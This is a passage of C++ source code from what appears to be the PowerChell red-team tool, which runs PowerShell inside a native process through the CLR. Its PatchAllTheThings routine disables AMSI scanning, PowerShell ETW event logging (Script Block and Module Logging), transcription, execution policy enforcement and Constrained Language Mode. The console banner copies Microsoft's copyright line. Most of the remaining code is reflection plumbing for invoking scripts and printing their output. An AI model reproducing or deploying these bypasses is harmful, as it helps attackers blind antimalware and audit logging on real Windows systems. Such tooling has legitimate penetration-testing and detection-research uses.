mirror of
https://github.com/scrt/PowerChell
synced 2026-06-06 16:44:30 +00:00
935 lines
33 KiB
C++
935 lines
33 KiB
C++
#include "powershell.h"
|
|
#include "common.h"
|
|
#include "patch.h"
|
|
|
|
void CreatePowerShellConsole()
|
|
{
|
|
mscorlib::_AppDomain* pAppDomain = NULL;
|
|
CLR_CONTEXT cc = { 0 };
|
|
VARIANT vtInitialRunspaceConfiguration = { 0 };
|
|
LPCWSTR pwszBannerText = L"Windows PowerChell\nCopyright (C) Microsoft Corporation. All rights reserved.";
|
|
LPCWSTR pwszHelpText = L"Help message";
|
|
LPCWSTR ppwszArguments[] = { NULL };
|
|
|
|
if (!clr::InitializeCommonLanguageRuntime(&cc, &pAppDomain))
|
|
goto exit;
|
|
|
|
if (!CreateInitialRunspaceConfiguration(pAppDomain, &vtInitialRunspaceConfiguration))
|
|
goto exit;
|
|
|
|
PatchAllTheThings(pAppDomain);
|
|
|
|
if (!StartConsoleShell(pAppDomain, vtInitialRunspaceConfiguration, pwszBannerText, pwszHelpText, ppwszArguments, ARRAYSIZE(ppwszArguments)))
|
|
goto exit;
|
|
|
|
exit:
|
|
VariantClear(&vtInitialRunspaceConfiguration);
|
|
clr::DestroyCommonLanguageRuntime(&cc, pAppDomain);
|
|
}
|
|
|
|
void ExecutePowerShellScript(LPWSTR pwszScript)
|
|
{
|
|
mscorlib::_AppDomain* pAppDomain = NULL;
|
|
CLR_CONTEXT cc = { 0 };
|
|
VARIANT vtPowerShell = { 0 };
|
|
VARIANT vtInvokeResult = { 0 };
|
|
BOOL bHadErrors = FALSE;
|
|
|
|
if (!clr::InitializeCommonLanguageRuntime(&cc, &pAppDomain))
|
|
goto exit;
|
|
|
|
if (!PowerShellCreate(pAppDomain, &vtPowerShell))
|
|
goto exit;
|
|
|
|
if (!PowerShellAddScript(pAppDomain, vtPowerShell, pwszScript))
|
|
goto exit;
|
|
|
|
if (!PowerShellAddCommand(pAppDomain, vtPowerShell, L"Out-String"))
|
|
goto exit;
|
|
|
|
PatchAllTheThings(pAppDomain);
|
|
|
|
if (PowerShellInvoke(pAppDomain, vtPowerShell, &vtInvokeResult))
|
|
{
|
|
PrintPowerShellInvokeResult(pAppDomain, vtInvokeResult);
|
|
PrintPowerShellInvokeInformation(pAppDomain, vtPowerShell);
|
|
}
|
|
|
|
if (!PowerShellHadErrors(pAppDomain, vtPowerShell, &bHadErrors))
|
|
goto exit;
|
|
|
|
if (bHadErrors)
|
|
{
|
|
PrintPowerShellInvokeErrors(pAppDomain, vtPowerShell);
|
|
}
|
|
|
|
exit:
|
|
if (pAppDomain && vtPowerShell.punkVal) PowerShellDispose(pAppDomain, vtPowerShell);
|
|
VariantClear(&vtInvokeResult);
|
|
VariantClear(&vtPowerShell);
|
|
clr::DestroyCommonLanguageRuntime(&cc, pAppDomain);
|
|
|
|
return;
|
|
}
|
|
|
|
//
|
|
// The following function retrieves an instance of the PSEtwLogProvider class, gets
|
|
// the value of its 'etwProvider' member, which is an EventProvider object, and sets
|
|
// the 'm_enabled' attribute of this latter object to 0, thus effectively disabling
|
|
// all PowerShell event logs in the current process. This includes Script Block
|
|
// Logging and Module Logging.
|
|
//
|
|
// Credit:
|
|
// - https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32
|
|
//
|
|
BOOL DisablePowerShellEtwProvider(mscorlib::_AppDomain* pAppDomain)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
HRESULT hr;
|
|
VARIANT vtEmpty = { 0 };
|
|
VARIANT vtPsEtwLogProviderInstance = { 0 };
|
|
VARIANT vtZero = { 0 };
|
|
mscorlib::_Type* pPsEtwLogProviderType = NULL;
|
|
mscorlib::_Type* pEventProviderType = NULL;
|
|
mscorlib::_FieldInfo* pEnabledInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.Tracing.PSEtwLogProvider", &pPsEtwLogProviderType))
|
|
goto exit;
|
|
|
|
if (!clr::GetFieldValue(pPsEtwLogProviderType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_NONPUBLIC_STATIC), vtEmpty, L"etwProvider", &vtPsEtwLogProviderInstance))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_CORE, L"System.Diagnostics.Eventing.EventProvider", &pEventProviderType))
|
|
goto exit;
|
|
|
|
if (!clr::GetField(pEventProviderType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_NONPUBLIC_INSTANCE), L"m_enabled", &pEnabledInfo))
|
|
goto exit;
|
|
|
|
InitVariantFromInt32(0, &vtZero);
|
|
|
|
hr = pEnabledInfo->SetValue_2(vtPsEtwLogProviderInstance, vtZero);
|
|
EXIT_ON_HRESULT_ERROR(L"FieldInfo->SetValue", hr);
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pEnabledInfo) pEnabledInfo->Release();
|
|
if (pEventProviderType) pEventProviderType->Release();
|
|
if (pPsEtwLogProviderType) pPsEtwLogProviderType->Release();
|
|
|
|
VariantClear(&vtPsEtwLogProviderInstance);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
void PatchAllTheThings(mscorlib::_AppDomain* pAppDomain)
|
|
{
|
|
if (!PatchAmsiOpenSession())
|
|
PRINT_ERROR("Failed to disable AMSI (1).\n");
|
|
|
|
if (!PatchAmsiScanBuffer())
|
|
PRINT_ERROR("Failed to disable AMSI (2).\n");
|
|
|
|
if (!DisablePowerShellEtwProvider(pAppDomain))
|
|
PRINT_ERROR("Failed to disable ETW Provider.\n");
|
|
|
|
if (!PatchTranscriptionOptionFlushContentToDisk(pAppDomain))
|
|
PRINT_ERROR("Failed to disable Transcription.\n");
|
|
|
|
if (!PatchAuthorizationManagerShouldRunInternal(pAppDomain))
|
|
PRINT_ERROR("Failed to disable Execution Policy enforcement.\n");
|
|
|
|
if (!PatchSystemPolicyGetSystemLockdownPolicy(pAppDomain))
|
|
PRINT_ERROR("Failed to disable Constrained Mode Language.\n");
|
|
|
|
return;
|
|
}
|
|
|
|
BOOL CreateInitialRunspaceConfiguration(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtRunspaceConfiguration)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtEmpty = { 0 };
|
|
VARIANT vtResult = { 0 };
|
|
mscorlib::_Type* pRunspaceConfigurationType = NULL;
|
|
mscorlib::_MethodInfo* pCreateInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.Runspaces.RunspaceConfiguration", &pRunspaceConfigurationType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pRunspaceConfigurationType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_STATIC), L"Create", 0, &pCreateInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pCreateInfo, vtEmpty, NULL, &vtResult))
|
|
goto exit;
|
|
|
|
memcpy_s(pvtRunspaceConfiguration, sizeof(*pvtRunspaceConfiguration), &vtResult, sizeof(vtResult));
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pCreateInfo) pCreateInfo->Release();
|
|
if (pRunspaceConfigurationType) pRunspaceConfigurationType->Release();
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL StartConsoleShell(mscorlib::_AppDomain* pAppDomain, VARIANT vtRunspaceConfiguration, LPCWSTR pwszBanner, LPCWSTR pwszHelp, LPCWSTR* ppwszArguments, DWORD dwArgumentCount)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
LONG lArgumentIndex;
|
|
VARIANT vtEmpty = { 0 };
|
|
VARIANT vtResult = { 0 };
|
|
VARIANT vtBannerText = { 0 };
|
|
VARIANT vtHelpText = { 0 };
|
|
VARIANT vtArguments = { 0 };
|
|
SAFEARRAY* pStartArguments = NULL;
|
|
mscorlib::_Type* pConsoleShellType = NULL;
|
|
mscorlib::_MethodInfo* pStartMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_MICROSOFT_POWERSHELL_CONSOLEHOST, L"Microsoft.PowerShell.ConsoleShell", &pConsoleShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pConsoleShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_STATIC), L"Start", 4, &pStartMethodInfo))
|
|
goto exit;
|
|
|
|
InitVariantFromString(pwszBanner, &vtBannerText);
|
|
InitVariantFromString(pwszHelp, &vtHelpText);
|
|
InitVariantFromStringArray(ppwszArguments, dwArgumentCount, &vtArguments);
|
|
|
|
pStartArguments = SafeArrayCreateVector(VT_VARIANT, 0, 4);
|
|
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtRunspaceConfiguration);
|
|
lArgumentIndex = 1;
|
|
SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtBannerText);
|
|
lArgumentIndex = 2;
|
|
SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtHelpText);
|
|
lArgumentIndex = 3;
|
|
SafeArrayPutElement(pStartArguments, &lArgumentIndex, &vtArguments);
|
|
|
|
if (!clr::InvokeMethod(pStartMethodInfo, vtEmpty, pStartArguments, &vtResult))
|
|
goto exit;
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pStartArguments) SafeArrayDestroy(pStartArguments);
|
|
|
|
if (pStartMethodInfo) pStartMethodInfo->Release();
|
|
if (pConsoleShellType) pConsoleShellType->Release();
|
|
|
|
VariantClear(&vtResult);
|
|
VariantClear(&vtBannerText);
|
|
VariantClear(&vtHelpText);
|
|
VariantClear(&vtArguments);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellCreate(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtPowerShellInstance)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtEmpty = { 0 };
|
|
VARIANT vtInstance = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_MethodInfo* pCreateMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_STATIC), L"Create", 0, &pCreateMethodInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pCreateMethodInfo, vtEmpty, NULL, &vtInstance))
|
|
goto exit;
|
|
|
|
memcpy_s(pvtPowerShellInstance, sizeof(*pvtPowerShellInstance), &vtInstance, sizeof(vtInstance));
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pCreateMethodInfo) pCreateMethodInfo->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellDispose(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtResult = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_MethodInfo* pDisposeMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"Dispose", 0, &pDisposeMethodInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pDisposeMethodInfo, vtPowerShellInstance, NULL, &vtResult))
|
|
goto exit;
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pDisposeMethodInfo) pDisposeMethodInfo->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
VariantClear(&vtResult);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellAddScript(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPWSTR pwszScript)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
LONG lArgumentIndex;
|
|
VARIANT vtScript = { 0 };
|
|
VARIANT vtResult = { 0 };
|
|
SAFEARRAY* pAddScriptArguments = NULL;
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_MethodInfo* pAddScriptMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"AddScript", 1, &pAddScriptMethodInfo))
|
|
goto exit;
|
|
|
|
InitVariantFromString(pwszScript, &vtScript);
|
|
pAddScriptArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pAddScriptArguments, &lArgumentIndex, &vtScript);
|
|
|
|
if (!clr::InvokeMethod(pAddScriptMethodInfo, vtPowerShellInstance, pAddScriptArguments, &vtResult))
|
|
goto exit;
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pAddScriptArguments) SafeArrayDestroy(pAddScriptArguments);
|
|
|
|
if (pAddScriptMethodInfo) pAddScriptMethodInfo->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
VariantClear(&vtScript);
|
|
VariantClear(&vtResult);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellAddCommand(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszCommand)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
LONG lArgumentIndex;
|
|
VARIANT vtCommand = { 0 };
|
|
VARIANT vtUseLocalScope = { 0 };
|
|
VARIANT vtResult = { 0 };
|
|
SAFEARRAY* pAddCommandArguments = NULL;
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_MethodInfo* pAddCommandMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"AddCommand", 2, &pAddCommandMethodInfo))
|
|
goto exit;
|
|
|
|
InitVariantFromString(pwszCommand, &vtCommand);
|
|
InitVariantFromBoolean(FALSE, &vtUseLocalScope);
|
|
|
|
pAddCommandArguments = SafeArrayCreateVector(VT_VARIANT, 0, 2);
|
|
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pAddCommandArguments, &lArgumentIndex, &vtCommand);
|
|
lArgumentIndex = 1;
|
|
SafeArrayPutElement(pAddCommandArguments, &lArgumentIndex, &vtUseLocalScope);
|
|
|
|
if (!clr::InvokeMethod(pAddCommandMethodInfo, vtPowerShellInstance, pAddCommandArguments, &vtResult))
|
|
goto exit;
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pAddCommandArguments) SafeArrayDestroy(pAddCommandArguments);
|
|
if (pAddCommandMethodInfo) pAddCommandMethodInfo->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
VariantClear(&vtCommand);
|
|
VariantClear(&vtResult);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellInvoke(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, VARIANT* pvtInvokeResult)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtInvokeResult = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_MethodInfo* pInvokeMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"Invoke", 0, &pInvokeMethodInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pInvokeMethodInfo, vtPowerShellInstance, NULL, &vtInvokeResult))
|
|
goto exit;
|
|
|
|
memcpy_s(pvtInvokeResult, sizeof(*pvtInvokeResult), &vtInvokeResult, sizeof(vtInvokeResult));
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pInvokeMethodInfo) pInvokeMethodInfo->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellGetStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszStreamName, VARIANT* pvtStream)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtStreams = { 0 };
|
|
VARIANT vtStream = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_Type* pPSDataStreamsType = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetPropertyValue(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"Streams", &vtStreams))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSDataStreams", &pPSDataStreamsType))
|
|
goto exit;
|
|
|
|
if (!clr::GetPropertyValue(pPSDataStreamsType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), vtStreams, pwszStreamName, &vtStream))
|
|
goto exit;
|
|
|
|
memcpy_s(pvtStream, sizeof(*pvtStream), &vtStream, sizeof(vtStream));
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pPSDataStreamsType) pPSDataStreamsType->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
VariantClear(&vtStreams);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PowerShellHadErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, PBOOL pbHadErrors)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
VARIANT vtHadErrors = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!clr::GetPropertyValue(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"HadErrors", &vtHadErrors))
|
|
goto exit;
|
|
|
|
*pbHadErrors = vtHadErrors.boolVal;
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
return bResult;
|
|
}
|
|
|
|
void PrintPowerShellInvokeResult(mscorlib::_AppDomain* pAppDomain, VARIANT vtInvokeResult)
|
|
{
|
|
LONG lArgumentIndex;
|
|
VARIANT vtInvokeResultType = { 0 };
|
|
VARIANT vtInvokeResultCountProperty = { 0 };
|
|
VARIANT vtInvokeResultCount = { 0 };
|
|
VARIANT vtIndex = { 0 };
|
|
VARIANT vtItemProperty = { 0 };
|
|
VARIANT vtValue = { 0 };
|
|
VARIANT vtValueAsString = { 0 };
|
|
SAFEARRAY* pIndex = NULL;
|
|
mscorlib::_Type* pPSObjectType = NULL;
|
|
mscorlib::_MethodInfo* pToStringMethodInfo = NULL;
|
|
|
|
if (!dotnet::System_Object_GetType(pAppDomain, vtInvokeResult, &vtInvokeResultType))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtInvokeResultType, L"Count", &vtInvokeResultCountProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInvokeResultCountProperty, vtInvokeResult, &vtInvokeResultCount))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtInvokeResultType, L"Item", &vtItemProperty))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSObject", &pPSObjectType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pPSObjectType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo))
|
|
goto exit;
|
|
|
|
if (vtInvokeResultCount.lVal > 0)
|
|
{
|
|
wprintf(L"\n");
|
|
wprintf(L"+-----------------------------------+\n");
|
|
wprintf(L"| POWERSHELL STANDARD OUTPUT STREAM |\n");
|
|
wprintf(L"+-----------------------------------+\n");
|
|
|
|
for (int i = 0; i < vtInvokeResultCount.lVal; i++)
|
|
{
|
|
InitVariantFromInt32(i, &vtIndex);
|
|
pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex);
|
|
|
|
if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtItemProperty, vtInvokeResult, pIndex, &vtValue))
|
|
{
|
|
if (clr::InvokeMethod(pToStringMethodInfo, vtValue, NULL, &vtValueAsString))
|
|
{
|
|
wprintf(L"%ws", vtValueAsString.bstrVal);
|
|
VariantClear(&vtValueAsString);
|
|
}
|
|
|
|
VariantClear(&vtValue);
|
|
}
|
|
|
|
SafeArrayDestroy(pIndex);
|
|
}
|
|
}
|
|
|
|
exit:
|
|
if (pToStringMethodInfo) pToStringMethodInfo->Release();
|
|
if (pPSObjectType) pPSObjectType->Release();
|
|
|
|
VariantClear(&vtItemProperty);
|
|
VariantClear(&vtInvokeResultCountProperty);
|
|
VariantClear(&vtInvokeResultType);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintPowerShellInvokeInformation(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance)
|
|
{
|
|
VARIANT vtInformationStream = { 0 };
|
|
|
|
if (!PowerShellGetStream(pAppDomain, vtPowerShellInstance, L"Information", &vtInformationStream))
|
|
goto exit;
|
|
|
|
if (vtInformationStream.vt != VT_EMPTY)
|
|
{
|
|
PrintPowerShellInformationStream(pAppDomain, vtInformationStream);
|
|
}
|
|
|
|
exit:
|
|
VariantClear(&vtInformationStream);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintPowerShellInvokeErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance)
|
|
{
|
|
VARIANT vtErrorStream = { 0 };
|
|
VARIANT vtInvocationStateInfo = { 0 };
|
|
VARIANT vtReason = { 0 };
|
|
mscorlib::_Type* pPowerShellType = NULL;
|
|
mscorlib::_Type* pPSDataStreamsType = NULL;
|
|
mscorlib::_Type* pPSInvocationStateInfoType = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType))
|
|
goto exit;
|
|
|
|
if (!PowerShellGetStream(pAppDomain, vtPowerShellInstance, L"Error", &vtErrorStream))
|
|
goto exit;
|
|
|
|
if (vtErrorStream.vt != VT_EMPTY)
|
|
{
|
|
PrintPowerShellErrorStream(pAppDomain, vtErrorStream);
|
|
}
|
|
|
|
if (!clr::GetPropertyValue(pPowerShellType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"InvocationStateInfo", &vtInvocationStateInfo))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSInvocationStateInfo", &pPSInvocationStateInfoType))
|
|
goto exit;
|
|
|
|
if (!clr::GetPropertyValue(pPSInvocationStateInfoType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), vtInvocationStateInfo, L"Reason", &vtReason))
|
|
goto exit;
|
|
|
|
if (vtReason.vt != VT_EMPTY)
|
|
{
|
|
PrintPowerShellInvocationStateInfoReason(pAppDomain, vtReason);
|
|
}
|
|
|
|
exit:
|
|
if (pPSInvocationStateInfoType) pPSInvocationStateInfoType->Release();
|
|
if (pPSDataStreamsType) pPSDataStreamsType->Release();
|
|
if (pPowerShellType) pPowerShellType->Release();
|
|
|
|
VariantClear(&vtReason);
|
|
VariantClear(&vtInvocationStateInfo);
|
|
VariantClear(&vtErrorStream);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintInformationRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationRecord)
|
|
{
|
|
VARIANT vtInformationRecordAsString = { 0 };
|
|
mscorlib::_Type* pInformationRecordType = NULL;
|
|
mscorlib::_MethodInfo* pToStringMethodInfo = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.InformationRecord", &pInformationRecordType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pInformationRecordType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pToStringMethodInfo, vtInformationRecord, NULL, &vtInformationRecordAsString))
|
|
goto exit;
|
|
|
|
wprintf(L"%ws\n", vtInformationRecordAsString.bstrVal);
|
|
|
|
exit:
|
|
if (pToStringMethodInfo) pToStringMethodInfo->Release();
|
|
if (pInformationRecordType) pInformationRecordType->Release();
|
|
|
|
VariantClear(&vtInformationRecordAsString);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintErrorRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorRecord)
|
|
{
|
|
WORD wOldColor = 0;
|
|
size_t sScriptStackTraceLen;
|
|
VARIANT vtErrorRecordType = { 0 };
|
|
VARIANT vtTargetObjectProperty = { 0 };
|
|
VARIANT vtTargetObject = { 0 };
|
|
VARIANT vtScriptStackTraceProperty = { 0 };
|
|
VARIANT vtScriptStackTrace = { 0 };
|
|
VARIANT vtCategoryInfoProperty = { 0 };
|
|
VARIANT vtCategoryInfo = { 0 };
|
|
VARIANT vtCategoryInfoMessage = { 0 };
|
|
VARIANT vtFullyQualifiedErrorIdProperty = { 0 };
|
|
VARIANT vtFullyQualifiedErrorId = { 0 };
|
|
VARIANT vtExceptionProperty = { 0 };
|
|
VARIANT vtException = { 0 };
|
|
VARIANT vtExceptionType = { 0 };
|
|
VARIANT vtExceptionMessageProperty = { 0 };
|
|
VARIANT vtExceptionMessage = { 0 };
|
|
mscorlib::_Type* pErrorCategoryInfoType = NULL;
|
|
mscorlib::_MethodInfo* pErrorCategoryInfoGetMessageMethodInfo = NULL;
|
|
|
|
if (!dotnet::System_Object_GetType(pAppDomain, vtErrorRecord, &vtErrorRecordType))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"TargetObject", &vtTargetObjectProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtTargetObjectProperty, vtErrorRecord, &vtTargetObject))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"ScriptStackTrace", &vtScriptStackTraceProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtScriptStackTraceProperty, vtErrorRecord, &vtScriptStackTrace))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"CategoryInfo", &vtCategoryInfoProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtCategoryInfoProperty, vtErrorRecord, &vtCategoryInfo))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.ErrorCategoryInfo", &pErrorCategoryInfoType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pErrorCategoryInfoType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetMessage", 0, &pErrorCategoryInfoGetMessageMethodInfo))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pErrorCategoryInfoGetMessageMethodInfo, vtCategoryInfo, NULL, &vtCategoryInfoMessage))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"FullyQualifiedErrorId", &vtFullyQualifiedErrorIdProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtFullyQualifiedErrorIdProperty, vtErrorRecord, &vtFullyQualifiedErrorId))
|
|
